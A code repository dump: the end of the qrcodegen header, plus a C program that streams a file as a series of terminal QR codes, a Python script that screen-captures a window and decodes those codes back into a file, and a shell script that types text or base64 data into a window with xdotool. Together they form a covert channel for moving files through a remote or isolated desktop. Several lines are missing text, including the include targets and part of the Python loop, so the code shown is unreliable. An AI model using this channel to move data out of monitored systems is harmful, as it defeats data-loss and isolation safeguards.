upper limit of the QR Code standard. 188 | * - Please consult the QR Code specification for information on 189 | * data capacities per version, ECC level, and text encoding mode. 190 | */ 191 | bool qrcodegen_encodeBinary(uint8_t dataAndTemp[], size_t dataLen, uint8_t qrcode[], 192 | enum qrcodegen_Ecc ecl, int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl); 193 | 194 | 195 | /*---- Functions (low level) to generate QR Codes ----*/ 196 | 197 | /* 198 | * Renders a QR Code representing the given segments at the given error correction level. 199 | * The smallest possible QR Code version is automatically chosen for the output. Returns true if 200 | * QR Code creation succeeded, or false if the data is too long to fit in any version. The ECC level 201 | * of the result may be higher than the ecl argument if it can be done without increasing the version. 202 | * This function allows the user to create a custom sequence of segments that switches 203 | * between modes (such as alphanumeric and byte) to encode text in less space. 204 | * This is a low-level API; the high-level API is qrcodegen_encodeText() and qrcodegen_encodeBinary(). 205 | * To save memory, the segments' data buffers can alias/overlap tempBuffer, and will 206 | * result in them being clobbered, but the QR Code output will still be correct. 207 | * But the qrcode array must not overlap tempBuffer or any segment's data buffer. 208 | */ 209 | bool qrcodegen_encodeSegments(const struct qrcodegen_Segment segs[], size_t len, 210 | enum qrcodegen_Ecc ecl, uint8_t tempBuffer[], uint8_t qrcode[]); 211 | 212 | 213 | /* 214 | * Renders a QR Code representing the given segments with the given encoding parameters. 215 | * Returns true if QR Code creation succeeded, or false if the data is too long to fit in the range of versions. 216 | * The smallest possible QR Code version within the given range is automatically 217 | * chosen for the output. Iff boostEcl is true, then the ECC level of the result 218 | * may be higher than the ecl argument if it can be done without increasing the 219 | * version. The mask is either between qrcodegen_Mask_0 to 7 to force that mask, or 220 | * qrcodegen_Mask_AUTO to automatically choose an appropriate mask (which may be slow). 221 | * This function allows the user to create a custom sequence of segments that switches 222 | * between modes (such as alphanumeric and byte) to encode text in less space. 223 | * This is a low-level API; the high-level API is qrcodegen_encodeText() and qrcodegen_encodeBinary(). 224 | * To save memory, the segments' data buffers can alias/overlap tempBuffer, and will 225 | * result in them being clobbered, but the QR Code output will still be correct. 226 | * But the qrcode array must not overlap tempBuffer or any segment's data buffer. 227 | */ 228 | bool qrcodegen_encodeSegmentsAdvanced(const struct qrcodegen_Segment segs[], size_t len, enum qrcodegen_Ecc ecl, 229 | int minVersion, int maxVersion, enum qrcodegen_Mask mask, bool boostEcl, uint8_t tempBuffer[], uint8_t qrcode[]); 230 | 231 | 232 | /* 233 | * Tests whether the given string can be encoded as a segment in numeric mode. 234 | * A string is encodable iff each character is in the range 0 to 9. 235 | */ 236 | bool qrcodegen_isNumeric(const char *text); 237 | 238 | 239 | /* 240 | * Tests whether the given string can be encoded as a segment in alphanumeric mode. 241 | * A string is encodable iff each character is in the following set: 0 to 9, A to Z 242 | * (uppercase only), space, dollar, percent, asterisk, plus, hyphen, period, slash, colon. 243 | */ 244 | bool qrcodegen_isAlphanumeric(const char *text); 245 | 246 | 247 | /* 248 | * Returns the number of bytes (uint8_t) needed for the data buffer of a segment 249 | * containing the given number of characters using the given mode. Notes: 250 | * - Returns SIZE_MAX on failure, i.e. numChars > INT16_MAX or 251 | * the number of needed bits exceeds INT16_MAX (i.e. 32767). 252 | * - Otherwise, all valid results are in the range [0, ceil(INT16_MAX / 8)], i.e. at most 4096. 253 | * - It is okay for the user to allocate more bytes for the buffer than needed. 254 | * - For byte mode, numChars measures the number of bytes, not Unicode code points. 255 | * - For ECI mode, numChars must be 0, and the worst-case number of bytes is returned. 256 | * An actual ECI segment can have shorter data. For non-ECI modes, the result is exact. 257 | */ 258 | size_t qrcodegen_calcSegmentBufferSize(enum qrcodegen_Mode mode, size_t numChars); 259 | 260 | 261 | /* 262 | * Returns a segment representing the given binary data encoded in 263 | * byte mode. All input byte arrays are acceptable. Any text string 264 | * can be converted to UTF-8 bytes and encoded as a byte mode segment. 265 | */ 266 | struct qrcodegen_Segment qrcodegen_makeBytes(const uint8_t data[], size_t len, uint8_t buf[]); 267 | 268 | 269 | /* 270 | * Returns a segment representing the given string of decimal digits encoded in numeric mode. 271 | */ 272 | struct qrcodegen_Segment qrcodegen_makeNumeric(const char *digits, uint8_t buf[]); 273 | 274 | 275 | /* 276 | * Returns a segment representing the given text string encoded in alphanumeric mode. 277 | * The characters allowed are: 0 to 9, A to Z (uppercase only), space, 278 | * dollar, percent, asterisk, plus, hyphen, period, slash, colon. 279 | */ 280 | struct qrcodegen_Segment qrcodegen_makeAlphanumeric(const char *text, uint8_t buf[]); 281 | 282 | 283 | /* 284 | * Returns a segment representing an Extended Channel Interpretation 285 | * (ECI) designator with the given assignment value. 286 | */ 287 | struct qrcodegen_Segment qrcodegen_makeEci(long assignVal, uint8_t buf[]); 288 | 289 | 290 | /*---- Functions to extract raw data from QR Codes ----*/ 291 | 292 | /* 293 | * Returns the side length of the given QR Code, assuming that encoding succeeded. 294 | * The result is in the range [21, 177]. Note that the length of the array buffer 295 | * is related to the side length - every 'uint8_t qrcode[]' must have length at least 296 | * qrcodegen_BUFFER_LEN_FOR_VERSION(version), which equals ceil(size^2 / 8 + 1). 297 | */ 298 | int qrcodegen_getSize(const uint8_t qrcode[]); 299 | 300 | 301 | /* 302 | * Returns the color of the module (pixel) at the given coordinates, which is false 303 | * for light or true for dark. The top left corner has the coordinates (x=0, y=0). 304 | * If the given coordinates are out of bounds, then false (light) is returned. 305 | */ 306 | bool qrcodegen_getModule(const uint8_t qrcode[], int x, int y); 307 | 308 | 309 | #ifdef __cplusplus 310 | } 311 | #endif 312 | -------------------------------------------------------------------------------- /qr_download.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from os import system 3 | from struct import unpack 4 | 5 | TIMEOUT = 1 6 | system("xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}' > /tmp/winid.txt") 7 | winid = open("/tmp/winid.txt").read().split()[0] 8 | 9 | output = {} 10 | is_start = False 11 | errors = 0 12 | _num = 0 13 | try: 14 | while True: 15 | system(f"gm import -window {winid} /tmp/qr.png") # apt install graphicsmagick 16 | system("zbarimg --raw --oneshot -Sbinary /tmp/qr.png > /tmp/qr-decoded.bin 2> /dev/null") # apt install zbar-tools 17 | data = open("/tmp/qr-decoded.bin", "rb").read() 18 | if data: 19 | errors = 0 20 | is_start = True 21 | num = unpack("= 3: 32 | break 33 | except: 34 | pass 35 | 36 | with open("out.bin","wb") as o: 37 | o.write( b"".join(output.values()) ) 38 | -------------------------------------------------------------------------------- /qr_upload.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "lib/qrcodegen.h" // https://github.com/nayuki/QR-Code-generator 7 | #if defined(_WIN32) || defined(_WIN64) 8 | #include 9 | #elif defined(__i386__) || defined(__x86_64__) 10 | #include 11 | #endif 12 | 13 | /* 14 | cl /c lib\qrcodegen.c 15 | cl /c qr_upload.c 16 | link /out:qr_upload.exe qr_upload.obj qrcodegen.obj 17 | chcp 866 18 | */ 19 | 20 | /* 21 | gcc -c lib/qrcodegen.c 22 | gcc -c qr_upload.c 23 | gcc qr_upload.c qrcodegen.o -o qr_upload 24 | setterm -background white 25 | setterm -foreground black 26 | */ 27 | 28 | int buf_size; 29 | #if defined(__i386__) || defined(__x86_64__) 30 | #define PXL_BLACK "\xe2\x96\x88\xe2\x96\x88" 31 | #define PXL_WHITE " " 32 | #elif defined(_WIN32) || defined(_WIN64) 33 | #define PXL_BLACK "\xdb\xdb" 34 | #define PXL_WHITE " " 35 | #endif 36 | 37 | static void printQr(const uint8_t qrcode[]) { 38 | int size = qrcodegen_getSize(qrcode); 39 | int border = 1; 40 | for (int y = -border; y < size + border; y++) { 41 | for (int x = -border; x < size + border; x++) { 42 | fputs((qrcodegen_getModule(qrcode, x, y) ? PXL_BLACK : PXL_WHITE), stdout); 43 | } 44 | fputs("\n", stdout); 45 | } 46 | fputs("\n", stdout); 47 | } 48 | 49 | static void qrcode(unsigned char *buf, int len) { 50 | 51 | enum qrcodegen_Ecc errCorLvl = qrcodegen_Ecc_LOW; // Error correction level 52 | 53 | // Make and print the QR Code symbol 54 | uint8_t qrcode[qrcodegen_BUFFER_LEN_MAX]; 55 | uint8_t tempBuffer[qrcodegen_BUFFER_LEN_MAX]; 56 | //bool ok = qrcodegen_encodeText(buf, tempBuffer, qrcode, errCorLvl, 57 | // qrcodegen_VERSION_MIN, qrcodegen_VERSION_MAX, qrcodegen_Mask_AUTO, true); 58 | 59 | struct qrcodegen_Segment seg; 60 | seg.mode = qrcodegen_Mode_BYTE; 61 | seg.numChars = len; 62 | seg.bitLength = len*8; 63 | seg.data = buf; 64 | bool ok = qrcodegen_encodeSegments(&seg, 1, errCorLvl, tempBuffer, qrcode); 65 | if (ok) 66 | printQr(qrcode); 67 | } 68 | 69 | int main(int argc, char **argv) { 70 | FILE *f; 71 | unsigned char *buf; 72 | char *filename; 73 | int timeout; 74 | int len; 75 | short num = 0; 76 | 77 | filename = argv[1]; 78 | timeout = getenv("TIMEOUT") ? atoi(getenv("TIMEOUT")) : 1000; 79 | buf_size = getenv("SIZE") ? atoi(getenv("SIZE")) : 100; 80 | 81 | f = fopen(filename, "rb"); 82 | buf = malloc(buf_size); 83 | while(!feof(f)) 84 | { 85 | *((short *)buf) = num; 86 | len = fread(buf+2, 1, buf_size-2, f); 87 | qrcode(buf, len); 88 | #if defined(__i386__) || defined(__x86_64__) 89 | usleep(timeout*1000); 90 | system("clear"); 91 | #elif defined(_WIN32) || defined(_WIN64) 92 | Sleep(timeout); 93 | system("cls"); 94 | #endif 95 | memset(buf, '\x00', buf_size); 96 | num++; 97 | } 98 | free(buf); 99 | fclose(f); 100 | return EXIT_SUCCESS; 101 | } -------------------------------------------------------------------------------- /text_send.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [[ $# -ge 1 ]] && winid="$1" || winid=$(xwininfo | grep id | grep 'xwininfo:' | awk '{print $4}') 4 | xdotool windowfocus "$winid" 5 | 6 | LANG=C IFS= 7 | while read -r -d '' -n 1 char 8 | do 9 | echo -n "$char" 10 | if [ "$char" = $'\x0a' ] 11 | then xdotool key Return 12 | else xdotool type "$char" 13 | fi 14 | done 15 | 16 | #while read line 17 | #do 18 | # echo $line 19 | # xdotool type "$line" 20 | # xdotool key Return 21 | #done 22 | 23 | # apt install xdotool x11-utils 24 | # setxkbmap us 25 | # cat /tmp/test.txt | ./text_send.sh 26 | # cat /tmp/test.bin | base64 | ./text_send.sh 27 | --------------------------------------------------------------------------------